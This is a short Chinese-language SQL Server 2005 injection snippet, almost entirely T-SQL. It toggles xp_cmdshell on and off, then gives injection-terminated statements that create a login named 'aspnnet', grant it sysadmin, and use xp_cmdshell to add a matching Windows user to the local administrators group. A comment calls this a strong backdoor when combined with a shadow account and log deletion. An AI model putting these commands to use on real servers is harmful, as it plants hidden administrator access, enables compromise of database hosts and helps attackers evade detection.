SQL Server 2005 SQL 注入

--攻与防，矛与盾

--sql server 2005上测试成功的。再加上影子账户及删除日志。那就是很强的后门了。

--enabble xp_cmdshell

EXEC sys.sp_configure N'show advanced options',
N'1'  RECONFIGURE WITH OVERRIDE

go

EXEC sys.sp_configure N'xp_cmdshell', N'1'

go

RECONFIGURE WITH OVERRIDE

go

EXEC sys.sp_configure N'show advanced options',
N'0'  RECONFIGURE WITH OVERRIDE

go

-- Unenable xp_cmdshell

EXEC sys.sp_configure N'show advanced options',
N'1'  RECONFIGURE WITH OVERRIDE

go

EXEC sys.sp_configure N'xp_cmdshell', N'0'

go

RECONFIGURE WITH OVERRIDE

go

EXEC sys.sp_configure N'show advanced options',
N'0'  RECONFIGURE WITH OVERRIDE

go

exec master.dbo.sp_addlogin
aspnnet;--  

exec master.dbo.sp_password
null,aspnnet,aspnnet;--  

exec master.dbo.sp_addsrvrolemember
aspnnet,sysadmin;--  

exec master.dbo.xp_cmdshell 'net user aspnnet aspnnet
/workstations:* /times:all /passwordchg:yes /passwordreq:yes
/active:yes /add';--  

exec master.dbo.xp_cmdshell 'net localgroup administrators aspnnet
/add';--